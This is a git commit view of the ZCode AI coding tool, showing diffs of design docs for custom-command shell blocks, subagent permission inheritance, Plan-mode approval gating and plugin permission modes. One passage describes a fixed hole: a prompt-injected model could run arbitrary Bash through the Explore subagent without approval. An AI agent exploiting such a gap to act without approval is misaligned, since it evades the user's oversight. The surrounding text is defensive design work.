Преглед изворни кода

chore: sync ZCode source v3.17.2

Source-Commit: 84aed26c781e3ba08e15f22b00370b3564614489
Source-Sync: zcode-open-source-v1
ZCode Source Sync Bot пре 2 недеља
родитељ
комит
a9fe401eed
100 измењених фајлова са 4306 додато и 904 уклоњено
  1. 2 1
      README.en.md
  2. 2 1
      README.md
  3. 4 0
      THIRD-PARTY-NOTICES.md
  4. 55 10
      apps/zcode-cli/docs/design/v2/custom-commands.md
  5. 11 8
      apps/zcode-cli/docs/design/v2/loop/system-prompt-contract.md
  6. 13 9
      apps/zcode-cli/docs/design/v2/plugin-compat.md
  7. 26 5
      apps/zcode-cli/docs/design/v2/session-runtime-lifecycle.md
  8. 79 0
      apps/zcode-cli/docs/design/v2/tool/00-tool-change-chain.md
  9. 6 2
      apps/zcode-cli/docs/design/v2/tool/04-bash.md
  10. 8 5
      apps/zcode-cli/docs/design/v2/tool/07-subagent.md
  11. 13 1
      apps/zcode-cli/docs/design/v2/tool/16-plan-mode.md
  12. 25 5
      apps/zcode-cli/packages/adapters/src/mcp/index.ts
  13. 86 1
      apps/zcode-cli/packages/adapters/tests/mcp.test.ts
  14. 29 10
      apps/zcode-cli/packages/adapters/tests/permission-full-access.test.ts
  15. 0 4
      apps/zcode-cli/packages/bootstrap/src/app/create-app.ts
  16. 90 108
      apps/zcode-cli/packages/bootstrap/src/app/session-facade.ts
  17. 4 49
      apps/zcode-cli/packages/bootstrap/src/custom-command-prompt.ts
  18. 0 255
      apps/zcode-cli/packages/bootstrap/src/custom-command-shell-expansion.ts
  19. 12 0
      apps/zcode-cli/packages/bootstrap/src/session-execution/CONTRACT.md
  20. 5 1
      apps/zcode-cli/packages/bootstrap/src/session-execution/module.ts
  21. 6 0
      apps/zcode-cli/packages/bootstrap/src/session-lifecycle/CONTRACT.md
  22. 6 5
      apps/zcode-cli/packages/bootstrap/src/session-lifecycle/contract.ts
  23. 105 27
      apps/zcode-cli/packages/bootstrap/src/session-lifecycle/controller.ts
  24. 3 1
      apps/zcode-cli/packages/bootstrap/src/subagents.ts
  25. 5 2
      apps/zcode-cli/packages/bootstrap/src/zcode-protocol-v4/v4-gateway.ts
  26. 2 0
      apps/zcode-cli/packages/bootstrap/src/zcode-protocol/mcp-ui/CONTRACT.md
  27. 85 22
      apps/zcode-cli/packages/bootstrap/src/zcode-protocol/server-operations.ts
  28. 17 7
      apps/zcode-cli/packages/bootstrap/src/zcode-protocol/server.ts
  29. 50 16
      apps/zcode-cli/packages/bootstrap/src/zcode-protocol/session-residency.ts
  30. 21 17
      apps/zcode-cli/packages/bootstrap/src/zcode-protocol/v4-bridge.ts
  31. 167 0
      apps/zcode-cli/packages/bootstrap/tests/draft-permission-full-access.test.ts
  32. 45 48
      apps/zcode-cli/packages/bootstrap/tests/protocol-slash-commands.test.ts
  33. 142 42
      apps/zcode-cli/packages/bootstrap/tests/session-facade-shutdown.test.ts
  34. 0 36
      apps/zcode-cli/packages/bootstrap/tests/session-facade.test.ts
  35. 68 0
      apps/zcode-cli/packages/bootstrap/tests/session-lifecycle/controller.test.ts
  36. 145 0
      apps/zcode-cli/packages/bootstrap/tests/session-resident-pool.test.ts
  37. 231 0
      apps/zcode-cli/packages/bootstrap/tests/subagent-workspace.test.ts
  38. 67 2
      apps/zcode-cli/packages/bootstrap/tests/subagents.test.ts
  39. 214 2
      apps/zcode-cli/packages/bootstrap/tests/v4-cold-resume.test.ts
  40. 1 0
      apps/zcode-cli/packages/bootstrap/tests/v4-history-first.test.ts
  41. 1 0
      apps/zcode-cli/packages/cli/src/command-center-custom.ts
  42. 10 14
      apps/zcode-cli/packages/cli/src/custom-command-expand.ts
  43. 5 6
      apps/zcode-cli/packages/cli/src/prompt-command.ts
  44. 28 0
      apps/zcode-cli/packages/cli/tests/cli.unit.test.ts
  45. 111 21
      apps/zcode-cli/packages/contracts/src/commands/index.ts
  46. 22 0
      apps/zcode-cli/packages/contracts/src/interfaces/session.port.ts
  47. 89 7
      apps/zcode-cli/packages/contracts/tests/custom-commands.test.ts
  48. 61 18
      apps/zcode-cli/packages/core/src/permission/service.ts
  49. 47 0
      apps/zcode-cli/packages/core/src/runtime/helpers/runtime-reminders.ts
  50. 8 2
      apps/zcode-cli/packages/core/src/runtime/methods/compact-active.ts
  51. 7 0
      apps/zcode-cli/packages/core/src/runtime/methods/events.ts
  52. 3 0
      apps/zcode-cli/packages/core/src/runtime/methods/resume.ts
  53. 35 18
      apps/zcode-cli/packages/core/src/runtime/methods/subagent.ts
  54. 8 4
      apps/zcode-cli/packages/core/src/runtime/methods/turn-loop.ts
  55. 28 17
      apps/zcode-cli/packages/core/src/runtime/permission-full-access.ts
  56. 6 1
      apps/zcode-cli/packages/core/src/runtime/types.ts
  57. 2 1
      apps/zcode-cli/packages/core/src/subagent/explore-tools.ts
  58. 6 1
      apps/zcode-cli/packages/core/src/tool/executor/permission-flow.ts
  59. 15 0
      apps/zcode-cli/packages/core/src/tool/handlers/bash.ts
  60. 37 1
      apps/zcode-cli/packages/core/tests/bash-handler.test.ts
  61. 29 0
      apps/zcode-cli/packages/core/tests/guarded-mode.test.ts
  62. 79 10
      apps/zcode-cli/packages/core/tests/mcp-runtime.test.ts
  63. 35 0
      apps/zcode-cli/packages/core/tests/permission-full-access.test.ts
  64. 163 5
      apps/zcode-cli/packages/core/tests/permission-service.test.ts
  65. 17 0
      apps/zcode-cli/packages/core/tests/runtime-reminders.test.ts
  66. 444 0
      apps/zcode-cli/packages/core/tests/subagent-explore-permission-mode.test.ts
  67. 3 1
      apps/zcode-cli/packages/core/tests/subagent-explore.test.ts
  68. 138 0
      apps/zcode-cli/packages/core/tests/subagent-plugin-permission-mode.test.ts
  69. 2 2
      apps/zcode-cli/packages/zcode-guide-plugin/skills/diagnosing-commands/SKILL.md
  70. 23 0
      architecture-policy.yaml
  71. 76 0
      docs/browser-use/local-html-preview.md
  72. 13 13
      docs/claude-code-marketplace-plugin-compat.md
  73. 20 6
      docs/coding-plan/zcode-official-server-mcp-auth-spec.md
  74. 60 4
      docs/conversation-session-case-catalog.md
  75. 11 11
      docs/desktop/windows-taskbar-unread-badge.md
  76. 3 1
      docs/electron/electron-builder-26.17-upgrade.md
  77. 5 2
      docs/file-preview-open-apps.md
  78. 42 7
      docs/plan-mode-approval-boundary.md
  79. 39 1
      docs/plans/session-task-restart-implementation.md
  80. 11 1
      docs/plugin-management-lifecycle-case-catalog.md
  81. 202 0
      docs/plugins/draft-mcp-ui-session-spec.md
  82. 7 5
      docs/plugins/plugin-market-interactions-scope.md
  83. 27 0
      docs/runtime-tools/mcp-status-list-control-plane.md
  84. 13 2
      docs/security/deep-link-project-trust-boundary.md
  85. 59 0
      docs/session-task-restart.md
  86. 31 0
      docs/settings-mcp-list.md
  87. 7 0
      docs/subagent-session-directory.md
  88. 14 0
      docs/superpowers/specs/2026-09-09-virtual-project-design.md
  89. 99 7
      docs/testing/conversation-session-e2e-coverage-matrix.md
  90. 8 0
      docs/testing/opensource-export-validation.md
  91. 25 0
      docs/testing/plugin-management-lifecycle-e2e-coverage-matrix.md
  92. 77 7
      docs/ui/assistant-preview-cards.md
  93. 23 0
      docs/ui/project-task-draft-lifecycle.md
  94. 2 2
      docs/ui/workspace-file-tree-html-browser.md
  95. 2 2
      package-lock.json
  96. 1 1
      package.json
  97. 6 0
      packages/desktop/electron-builder.config.js
  98. 87 0
      packages/desktop/scripts/packaged-platform-dependency-prune.mjs
  99. 12 1
      packages/desktop/scripts/packaged-sourcemap-cleanup.mjs
  100. 12 0
      packages/desktop/src/main/browser-local-preview/CONTRACT.md

+ 2 - 1
README.en.md

@@ -15,7 +15,8 @@ ZCode is an AI coding workspace with desktop, browser, and terminal interfaces.
 
 ## Updates
 
-- **2026-10-30**: Updated to ZCode v3.17.1.
+- **2026-11-03**: Updated to ZCode v3.17.2.
+- 2026-10-30: Updated to ZCode v3.17.1.
 - 2026-10-19: Updated to ZCode v3.16.2.
 - 2026-10-16: Updated to ZCode v3.16.1.
 - 2026-10-16: Updated to ZCode v3.15.4.

+ 2 - 1
README.md

@@ -15,7 +15,8 @@ ZCode 是 AI 编程工作台,提供桌面应用、浏览器界面和终端 Age
 
 ## 更新
 
-- **2026-10-30**:更新至 ZCode v3.17.1 版本。
+- **2026-11-03**:更新至 ZCode v3.17.2 版本。
+- 2026-10-30:更新至 ZCode v3.17.1 版本。
 - 2026-10-19:更新至 ZCode v3.16.2 版本。
 - 2026-10-16:更新至 ZCode v3.16.1 版本。
 - 2026-10-16:更新至 ZCode v3.15.4 版本。

+ 4 - 0
THIRD-PARTY-NOTICES.md

@@ -84,6 +84,8 @@ Original copyright, license and NOTICE text is retained below. Identical text is
 
 - @babel/parser@7.29.2 — MIT
 
+- @babel/parser@7.29.9 — MIT
+
 - @babel/plugin-syntax-jsx@7.28.6 — MIT
 
 - @babel/plugin-syntax-typescript@7.28.6 — MIT
@@ -3270,6 +3272,8 @@ WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
 
 - @babel/parser@7.29.2: LICENSE
 
+- @babel/parser@7.29.9: LICENSE
+
 
 
 ````text

+ 55 - 10
apps/zcode-cli/docs/design/v2/custom-commands.md

@@ -181,9 +181,9 @@ interface CustomCommandPort {
 ```
 
 The adapter returns structured diagnostics for scan failures, invalid names,
-duplicate names, invalid frontmatter, unsupported dynamic syntax, and oversized
-files. Diagnostics are surfaced by `zcode commands list --verbose`, `doctor`
-verbose output, and debug logs.
+duplicate names, invalid frontmatter, and oversized files. Diagnostics are
+surfaced by `zcode commands list --verbose`, `doctor` verbose output, and debug
+logs.
 
 ## Invocation Flow
 
@@ -224,10 +224,55 @@ Dynamic expansion:
 - `@file` references are P1. They should resolve through the file-system
   adapter, respect workspace/path permissions, and produce attachment-style
   model context rather than raw string concatenation.
-- ``!`command` `` and fenced `!` shell blocks are P1. They should execute
-  through `ExecutionPort`, carry trace/span IDs, obey timeout/output limits,
-  and require permission before execution. In P0 they fail closed with a clear
-  unsupported-dynamic-syntax diagnostic when invoked.
+- ``!`command` `` and fenced `!` shell blocks never run while a command is
+  resolved, whatever its source (project, user, or plugin). Resolution stays a
+  pure text step: each block is rewritten into a hand-off note followed by a
+  fenced `bash` block. The note says the step comes from the `/name` command
+  file and its `scope/source`, not from ZCode, and asks the model to run that
+  exact command with the `Bash` tool and use its output, unless it looks unsafe
+  or unrelated to the user's request. The command then runs only as an ordinary
+  `Bash` tool call, so plan mode, guarded checks, permission rules, hooks, and
+  approval prompts all apply, and the user sees it as a tool call.
+- An inline block is recognized only at the start of a line or after
+  whitespace, so text such as `` `Warning!` `` followed by another code span
+  stays plain text. A fenced block starts with ```` ```! ````.
+- Each rewritten block ends with a line break, so text that followed an inline
+  block continues on a new line after the closing fence.
+- The rewrite runs on the command template before `$ARGUMENTS` / `$N`
+  substitution, so argument text is never treated as a shell block.
+- Session context variables stay as written in the block. Every `Bash` call
+  sets them as environment variables (see [tool/04-bash.md](tool/04-bash.md)),
+  so the shell expands them, including forms such as `${NAME:-default}`, and
+  scripts started by the block can read them too:
+  - `CLAUDE_PROJECT_DIR`, `ZCODE_PROJECT_DIR`: the session workspace root.
+  - `CLAUDE_SESSION_ID`, `CLAUDE_CODE_SESSION_ID`, `ZCODE_SESSION_ID`: the
+    session ID.
+- Plugin variables are replaced with their values in the block text, in both
+  the `${NAME}` and `$NAME` forms, because the `Bash` call does not know which
+  plugin the step came from. This applies to plugin commands only:
+  `CLAUDE_PLUGIN_ROOT`, `ZCODE_PLUGIN_ROOT`, `CLAUDE_PLUGIN_DATA`,
+  `ZCODE_PLUGIN_DATA`, `ZCODE_PLUGIN_ID`, `ZCODE_PLUGIN_NAME`. The values come
+  from the installed plugin (validated manifest name, user-level install or
+  config paths), never from the workspace.
+- A Windows path value (starting with a drive letter such as `C:\` or with
+  `\\`) is written with forward slashes. The text is parsed by the shell, and
+  Git Bash removes backslashes outside quotes, so an unquoted
+  `bash ${CLAUDE_PLUGIN_ROOT}/x.sh` would otherwise get a broken path. Git Bash
+  accepts `C:/...` with or without quotes.
+- The block is not handed off when it uses a plugin variable outside a plugin
+  command, a plugin variable with a shell modifier (for example
+  `${CLAUDE_PLUGIN_ROOT:-x}` or `${#CLAUDE_PLUGIN_ROOT}`), or `CLAUDE_SKILL_DIR` / `ZCODE_SKILL_DIR`
+  (commands have no skill directory). It becomes a note that names the
+  variable, so the shell never expands it to an empty string.
+- Shell blocks never make resolution fail. Invoking such a command behaves like
+  any other prompt for send-now, queue, edit, and retry.
+- Known limits: the model's `Bash` call runs in the session's current
+  directory, which can differ from the workspace root after an earlier `cd`;
+  scripts do not get plugin variables from their environment; a plugin path
+  that contains `$` or a backtick is expanded again by the shell, and an
+  unquoted path with spaces is split; headless `-p`
+  runs have no approval surface, so non-read-only blocks are denied unless the
+  mode or allow rules permit them.
 
 ## Permissions
 
@@ -316,7 +361,9 @@ Minimum test coverage:
   and `disable-noninteractive`.
 - `$ARGUMENTS` and `$1`/`$2` expansion work with quoted args on Windows, macOS,
   and Linux.
-- Unsupported `!` dynamic shell syntax fails closed in P0.
+- `!` shell blocks are rewritten into `Bash` hand-off notes that name their
+  source and resolve plugin variables (Windows paths with forward slashes),
+  and are never executed during resolution; argument text is not rewritten.
 - `allowed-tools` is scoped to one command invocation and respects deny rules.
 - TUI suggestions include custom commands and argument hints.
 - `zcode --prompt "/custom args"` expands and submits a normal runtime turn.
@@ -338,8 +385,6 @@ P0:
 P1:
 
 - Implement `@file` references through the file-system adapter.
-- Implement ``!`command` `` through `ExecutionPort` with permission prompts,
-  timeout, cancellation, output truncation, and trace spans.
 - Add command reload/invalidation when TUI stays open across file changes.
 
 P2:

+ 11 - 8
apps/zcode-cli/docs/design/v2/loop/system-prompt-contract.md

@@ -237,14 +237,17 @@ wrapper tool, and its handler performs the provider-native `web_search` side
 request only when the current provider supports native search. `Skill` only
 registers when the child runtime is given a `skillPort`.
 
-Read-only enforcement model: unlike the main agent's `plan`-mode hard gate, the
-Explore child runs in `yolo` mode so that `Bash` (a non-read-only capability)
-can execute at all. Read-only behavior is therefore enforced by the system
-prompt's CRITICAL section rather than by the permission layer. The allowlist
-still excludes every file-mutating tool (`Write`/`Edit`/`ApplyPatch`), so `Bash`
-is the only mutation vector and the prompt must forbid mutating shell commands
-explicitly. This is a deliberate tradeoff: it adopts a prompt-only read-only
-model and weakens the previous physical isolation.
+Read-only enforcement model: the Explore child inherits the parent session's
+permission mode, Plan state, and permission service. The shell AST classifies
+each `Bash` command: read-only commands run without approval; other commands
+ask for approval under a build/edit parent, are denied under Plan, run under
+a yolo parent, and ask once under a guarded parent when they match a dangerous
+command rule (otherwise they run). The allowlist still excludes every file-mutating tool
+(`Write`/`Edit`/`ApplyPatch`), and the prompt's CRITICAL section still forbids
+mutating shell commands, so the prompt and the permission layer both apply.
+(Until 2026-10-31 the child ran in `yolo` with a separate permission service and
+relied on the prompt alone, which let a prompt-injected model run any command
+through `Agent(Explore)` without approval.)
 
 Required Explore prompt behavior:
 

+ 13 - 9
apps/zcode-cli/docs/design/v2/plugin-compat.md

@@ -5,10 +5,10 @@
 ZCode should load a bounded subset of Claude Code format plugins while keeping
 ZCode's runtime boundaries. The plugin ecosystem remains file-compatible with
 Claude Code where possible, but ZCode P0 only projects plugin-provided skills,
-custom commands, MCP servers and trusted official hooks into existing ZCode
-capability domains. Hook files from non-official third-party Marketplaces can be
-parsed for diagnostics, but are not injected into the runtime until ZCode has an
-explicit trust and permission gate.
+custom commands, MCP servers, hooks and agents into existing ZCode capability
+domains. Hooks from every enabled plugin, including third-party Marketplace
+plugins, are injected into the runtime. Per-plugin trust is not implemented yet;
+the decision lives in `canRunPluginHooks` of the adapters plugin loader.
 
 This feature started as first-party packaged capabilities such as the iOS
 Simulator and Android Emulator plugins. Claude Code Marketplace compatibility
@@ -309,7 +309,6 @@ Compatibility levels:
 
 Unsupported or diagnostic-only fields are ignored with diagnostics:
 
-- `hooks` from third-party Marketplace plugins
 - `outputStyles`
 - `lspServers`
 - `channels`
@@ -392,6 +391,12 @@ ZCode 枚举默认 `agents/*.md` 与 manifest `agents` 字符串或数组声明
 不加载。目录继续使用插件根内路径校验;组件名称不作为路径输入。源路径只用于 CLI 内部,
 对外组件详情仍只投影名称与描述。
 
+插件 profile 的 frontmatter `permissionMode` 只能收紧子会话权限,官方与第三方插件同一规则:
+子会话取父会话模式与声明模式中更严格的一个(从严到宽为 plan、build、edit、guarded、yolo)。
+`bypassPermissions`、`dontAsk` 因此不会生效;`auto` 尚未实现,不参与比较,按继承处理。
+加载器保留声明值并给 profile 打 `permissionModeRestrictOnly` 标记,派生子会话时由 core 比较。
+规则与威胁边界见 [项目配置信任边界](../../../../../docs/security/deep-link-project-trust-boundary.md)。
+
 ### MCP
 
 ZCode loads MCP server config from both:
@@ -491,10 +496,9 @@ P0 policy:
 - Only bundled official cache plugins are automatically rewritten to the
   internal ZCode/SEA plugin host.
 - Project-discovered plugin dirs are out of scope.
-- Hook files from non-official third-party Marketplace cache plugins are
-  diagnostic-only in P0. ZCode official cache plugins, Claude official
-  Marketplace cache plugins and explicit inline plugin dirs keep the existing
-  trusted hook behavior.
+- Hook files from every enabled cache plugin, including non-official
+  third-party Marketplace plugins, are injected into the runtime. Per-plugin
+  trust is not implemented; see `canRunPluginHooks`.
 
 ## CLI Surface
 

+ 26 - 5
apps/zcode-cli/docs/design/v2/session-runtime-lifecycle.md

@@ -129,7 +129,7 @@ flowchart TD
 
 取消先广播再等待;共享执行器、MCP 和存储必须留到借用者收尾。执行器取消不能因等待一个借用者而
 永远无法到达。每个 owner 的 close 幂等;正常执行失败与清理失败分别处理,清理失败或无法确认完成
-沿现有 faulted 合同阻止新实例。超时只是失败,不作为清理完成。关闭期间不接受自动续跑、通知唤醒、
+沿现有 faulted 合同阻止新实例。资源自身超时表示未确认释放;调用方等待超时不改变生命周期。关闭期间不接受自动续跑、通知唤醒、
 新权限等待或新子任务。保留消息、workflow journal 和已有文件结果,不重放旧输入或恢复被停止工作。
 
 普通 subagent 必须等待底层 child 执行与异步终态写入;不能只等待 abort guard 的提前返回。
@@ -155,8 +155,8 @@ terminal 但仍在收尾的 run。旧脚本 Workflow 统一管理工具入口及
   session 的共享连接;lease close 禁止新准入并结束其等待,迟到结果不能复活 lease。最后的 session 隔离
   lease 关闭等待实际资源关闭;workspace 共享连接仍由连接池管理。
 - App 保留一个实际关闭链,所有 owner 先收到关闭请求,再等待真实完成,之后释放依赖和 store。
-  对调用方的有界等待与实际关闭链分离;超时进入 faulted,但不能因此跳过 drain、提前关闭 store。
-  迟到完成不会解除 faulted。永久不响应停止的工作沿既有显式进程恢复出口处理。
+  调用方有界等待与实际关闭链分离;请求等待超时不改变 stopping,不跳过 drain、不提前关闭 store。
+  实际成功正常结束;资源自身关闭失败才进入 faulted。永久不响应停止的工作沿显式进程恢复出口处理。
 
 ```mermaid
 sequenceDiagram
@@ -169,11 +169,11 @@ sequenceDiagram
   O-->>A: 所属执行与写入真实结束
   A->>R: 释放资源及借用权,最后关闭存储
   R-->>A: 释放完成
-  A-->>L: 成功;若等待超时则报告失败,实际链继续收尾
+  A-->>L: 实际完成;调用方等待超时不终结此 Promise
 ```
 
 验收覆盖标题取消、MCP 双 lease 隔离/迟到连接、成功子代理的清理重试、自然后台结束回收、
-初始化失败回收、三类 child owner、关闭超时后的存储保活与迟到清理,以及桌面/手机原重启合同。
+初始化失败回收、三类 child owner、慢关闭期间的存储保活与实际完成,以及桌面/手机原重启合同。
 
 ### 浏览器控制资源释放(2026-10-29)
 
@@ -192,3 +192,24 @@ releaseScope 的 released/absent 是 Main owner 的确认,不从普通错误
 父子 owner 只缓存正在进行或成功的关闭,具体释放失败允许最终 owner 再次尝试;
 App 整体进入 faulted 后仍按原恢复合同处理,不重放执行或终态事件。
 完整路由、窗口/实例隔离、兼容与验证见根 `docs/session-task-restart.md` 的 Browser control scope。
+
+## 启动上下文与关闭完成修订(2026-10-30)
+
+ensureReady/restart 接受可选 workspace;Host 新调用必须通过能力协商携带可信 attachment。
+无上下文仅保留旧调用兼容。普通冷恢复的 initialize 也登记相同 workspace,避免冲突请求
+共享另一个归属的启动。restart 在同一个操作内先校验归属,再释放,不能拆成 ensureReady + restart。
+Gateway 的历史准备透传同一引用;实例归属以 CLI 持久 owner 解析与 Host attachment 共同验证。
+
+关闭 Promise 只表达真实完成,单 session 不再用六秒等待预算代替资源事实。资源自身 RPC 的
+失败与进程退出强制终止预算保持不变。错误必须保留阶段和原始原因;必要 goal/queue 收尾失败
+仍阻止下一实例,无依赖清理不因之前失败而跳过。无需新增状态、后台重试器或数据库迁移。
+
+完整跨端与升级/降级合同见 [任务重启规格](../../../../../docs/session-task-restart.md#启动归属与真实关闭完成2026-10-30)。
+
+### 入口归属与兼容预检补全
+
+内部 initialize 的 create 模式只用于已经占用新 ID 的创建入口;fork 与 resume 使用默认恢复模式。
+四个入口(create、fork、普通 resume、V4 冷恢复)均登记 workspace。已登记 flight 拒绝冲突;
+兼容旧无上下文 flight 时,加入者在完成后验证自己的 workspace,不重复激活。
+旧 WSL NULL identity 记录在预检时复用原精确识别规则,仅读取等价 identity/path;
+激活阶段仍由原原子修复落盘并重读确认。慢关闭 30 秒只记录当前未完成的资源,保持真实等待。

+ 79 - 0
apps/zcode-cli/docs/design/v2/tool/00-tool-change-chain.md

@@ -34,6 +34,61 @@ Memory 后台循环(Extraction、Dream)用同一个 `toolBatchModelEntries`
 单条 context 超过 10000 字符时先落盘,附件里只放 `<persisted-output>` 外壳;落盘失败时截到 10000 字符并附原因
 (规则见 hooks.md「聚合规则」)。
 
+## Bash 注入会话上下文环境变量(2026-11-01)
+
+Bash handler → `createExecutionRequest` → `ExecutionRequest.env.set`:每次 Bash 调用(前台、显式后台、
+超时转后台)都设置 `CLAUDE_CODE_SESSION_ID` / `CLAUDE_SESSION_ID` / `ZCODE_SESSION_ID`(当前会话 ID)与
+`CLAUDE_PROJECT_DIR` / `ZCODE_PROJECT_DIR`(会话工作区根目录 `workspaceRoot`),其余变量仍按 adapter 默认
+继承。原因:自定义命令的 `!` 块改为转交模型经 Bash 执行([custom-commands.md](../custom-commands.md)
+「Dynamic expansion」),原来只由命令解析阶段的 shell 执行器提供这组变量;插件脚本(例如在自身进程里
+读取会话 ID 区分会话的 stop hook 状态文件)需要在 Bash 里拿到同样的值。变量名与值与 hooks 的
+`createPluginEnvOverlay` 一致。工具名单、schema、描述、权限判定与 App 协议不变。回归覆盖 Bash 请求带上
+这组变量,以及桌面 E2E 中转交执行的命令读到当前会话 ID 与工作区路径。
+
+## 内置 Explore 继承父会话权限(2026-10-31)
+
+Agent 工具 → runner → `resolveSubagentPermissionMode`:内置 Explore 不再固定 yolo,与其他 profile 一样
+继承父会话模式与 Plan 状态;子会话改用父会话的 `PermissionService`(allowedTools、disallowedTools、
+会话内授权随之生效),不再新建默认配置的实例。Explore 的 Bash 由 shell AST 判定只读:只读命令放行,
+非只读命令在父会话 build/edit 下请求审批并代理回父会话,在 Plan 下拒绝,在 yolo 下放行,在 guarded 下
+命中危险命令规则时单次确认、其余放行;WebFetch
+同样按父会话模式判定。修复原因:Explore 只靠 prompt 约束只读,提示注入后模型可经 `Agent(Explore)`
+在 build 或 Plan 父会话下免审批执行任意 Bash。工具名单、schema、描述与 App 协议不变。回归覆盖父会话
+build、build + Plan、yolo 下 Explore 的 Bash/WebFetch 判定与是否执行,以及父会话审批卡片的 E2E。
+
+`SendMessage` 恢复已结束的子会话时同样按父会话当前的模式与 Plan 状态重算子会话模式:子 runtime 以新算的
+`{ mode, planEnabled }` 调用 `resumeFromStore`(`executionStateOverride`),覆盖落盘的执行状态。恢复路径曾沿用
+落盘模式,父会话从 yolo 改为 build 后,恢复的子会话(含升级前落盘为 yolo 的 Explore)仍免审批执行命令。
+回归覆盖 yolo→build、build→Plan 与 Explore 的恢复。
+
+## Plan 模式只在原模式之上收紧(2026-10-31)
+
+tool executor → `checkStaticToolPermission` → `PermissionService.checkPermission`:disallowedTools、
+项目 deny/ask 之后,`planEnabled` 先过 Plan 闸门,再走原模式判定。闸门只直接放行只读免审批工具
+与声明 `allowedInPlanMode` 的会话控制工具;需审批的只读工具(WebFetch、`readOnlyHint` MCP)交给
+原模式;非只读、非 destructive 的 MCP 在原模式 yolo/guarded 下交给原模式,其余原模式下返回
+`mode.plan.mcp` 询问并带 `optionsPolicy: "no-always-allow"`,排在 allow 规则之前;其他非只读工具
+与 destructive MCP 仍为 `mode.plan.nonReadOnly` 拒绝。闸门没拒绝时,guarded 的危险命令单次确认
+(`userApprovalRule`)在原模式判定前生效,不被 Plan 跳过。executor 把判定里的 `optionsPolicy` 合并进
+审批请求,v3/v4 投影据此去掉"始终允许"与"完全访问"。原实现在 Plan 下替换原模式且不看
+`needsApproval`,WebFetch 与 MCP(含宿主 `node_repl` 的 `js`)在 Plan 下比 build 更宽。
+工具 schema、描述、注册、App 协议字段不变。回归覆盖 Plan×原模式判定矩阵、allow 规则不能跳过
+MCP 询问、审批请求不带始终允许,以及 `EnterPlanMode` 后调用 MCP 先请求审批。
+规则见 [Plan Mode Approval Boundary](../../../../../../docs/plan-mode-approval-boundary.md)。
+
+## 插件 Agent 权限模式只能收紧(2026-10-31)
+
+插件 agent 文件(默认 `agents/` 与 manifest `agents` 声明的目录)→ `loadPluginAgentTemplates` 保留 frontmatter `permissionMode` 并标记
+`permissionModeRestrictOnly` → 名称空间与裸名别名(同一 profile 展开)→ Agent 工具 runner
+→ `resolveSubagentPermissionMode` 先按声明映射子会话模式,再由 `restrictPermissionMode`
+与父会话模式比较,取更严格的一个。严格程度从严到宽为 plan、build、edit、guarded、yolo;
+`bypassPermissions`、`dontAsk` 对应 yolo,因此插件声明不能放宽;`auto` 未实现,按继承处理。
+官方与第三方插件同一规则。用户级 profile 按声明生效,项目级 profile 仍在解析时剥离。
+标记只存在于 CLI 进程内的 `AgentProfile`,不进入 Host→CLI 的 `agentProfileSchema`。
+工具 schema、描述、App 协议和 UI 投影不变。回归覆盖严格度矩阵,官方/第三方插件的
+`bypassPermissions`、`dontAsk`、`acceptEdits`、`plan`、`auto` 五种声明值与两种调用名,以及父会话 build 时插件 `bypassPermissions` 子会话的 Bash 仍请求审批。
+规则见 [项目配置信任边界](../../../../../../docs/security/deep-link-project-trust-boundary.md)。
+
 ## 官方命令环境包装保留 Bash 后台能力(2026-10-28)
 
 Bash handler → `withOfficialCommandEnv` 注入会话环境 → 原执行器
@@ -128,6 +183,14 @@ schema、权限、超时、isError、图片顺序、core 的 model-anomaly 与 U
 缺少路径的描述性组件不加载,源文件不可读保留诊断;不新增路径兜底或独立注册表。
 工具 schema、权限、执行快照和 UI/V4 投影不变。详见 [插件 Agents 规范](../plugin-compat.md#agents)。
 
+## 草稿 MCP UI 完全访问(2026-10-19)
+
+审批卡 → 现有 interaction broker → runtime 授权 → 授权事件 → V4 投影 → 所属草稿 Composer。
+未持久化草稿不写 session 子行;授权与首发/外部活动持久化交错时复用已有持久化 Promise。
+重试固定原授权事件与目标集合,正式会话保留原事务;首发按当前权限保存同一 session。
+工具 schema、执行权限策略、外键与 continuous/replayable 交付不变。测试覆盖真实 SQLite、
+并发持久化、发布重试、草稿身份与首发,产品合同见根目录 `docs/plugins/draft-mcp-ui-session-spec.md`。
+
 ## Automation 自暂停工具 CronPauseSelf(2026-10-16)
 
 新增 deferred 内置工具 `CronPauseSelf`,供 automation 执行轮在 prompt 的停止条件满足时暂停
@@ -2089,3 +2152,19 @@ node_repl browser-client → protocol broker → 已有 browserExecute 反向协
 Browser control scope 的 admission 失败可由下一次业务请求用原 ID 重试;未知结果保留释放责任,
 只清除失败 flight。关闭优先于新 admission,不自动重放业务命令。Host ambient 无实例 ID 的
 只读 list 汇总同一会话路由的受控页面;模型 execute、取消、释放仍严格隔离实例。
+
+### 草稿 MCP UI 会话清理
+
+V4 `deleteSession` 复用 `closeSessionRuntime` 的统一生命周期 owner:先通知删除并摘除运行实例,再取消该 session 的 UI 工具调用、撤销实例凭证和 App tool 注册,等待 session 前缀的资源退订完成后关闭 App。按实例发起的异步退订不能代替这个等待,否则多 server 退订会与 pool lease 释放竞争。不能依赖共享 MCP 连接退出清理;其他 session 可继续持有同一连接。回归在 `v4-cold-resume.test.ts` 覆盖删除中的调用和共享连接隔离。
+
+### Agent workspace 身份回归(2026-10-26)
+
+Bash 返回 resolvedCwd → 父 runtime 更新执行 cwd → Agent 创建 child 时分别继承稳定 workspace 身份与当前执行 cwd → SQLite 保留同 workspace 父子链 → 重启后目录 owner 校验及 V4 冷订阅。验证真实 cd、旧 child 错误 cwd、跨 workspace 拒绝;不改变 Bash 的 cd 语义或工具 schema。
+
+## MCP 启动失败诊断(2026-10-30)
+
+stdio stderr → adapter 有界缓冲与脱敏 → 已有 `McpServerStatus.error` → `mcp/list` → 设置详情。
+连接失败在传输错误后附带最近 stderr,去除 ANSI;HTTP/SSE 不附带 stdio 信息。
+界面处理建议只按已有 `failureKind` 国际化,不按错误文本分流;`tools/call`、工具结果、
+权限、重试和错误分类不变。展示契约见根 `docs/settings-mcp-list.md`,CLI 回归在
+`packages/adapters/tests/mcp.test.ts`,App 使用候选 E2E,不恢复业务单测。

+ 6 - 2
apps/zcode-cli/docs/design/v2/tool/04-bash.md

@@ -32,7 +32,11 @@ provider-visible output 以本文“模型 result 映射规则”为基线。
 `"30000"`、`"true"`、`"false"`、`"1"`、`"0"`。
 
 `argv`、`cwd` 和 `env` 不属于 Bash tool 的模型可见输入。模型只负责拼 shell command;工作目录
-来自 session cwd,环境变量使用执行 adapter 的默认继承策略。`ExecutionPort` 可以继续保留
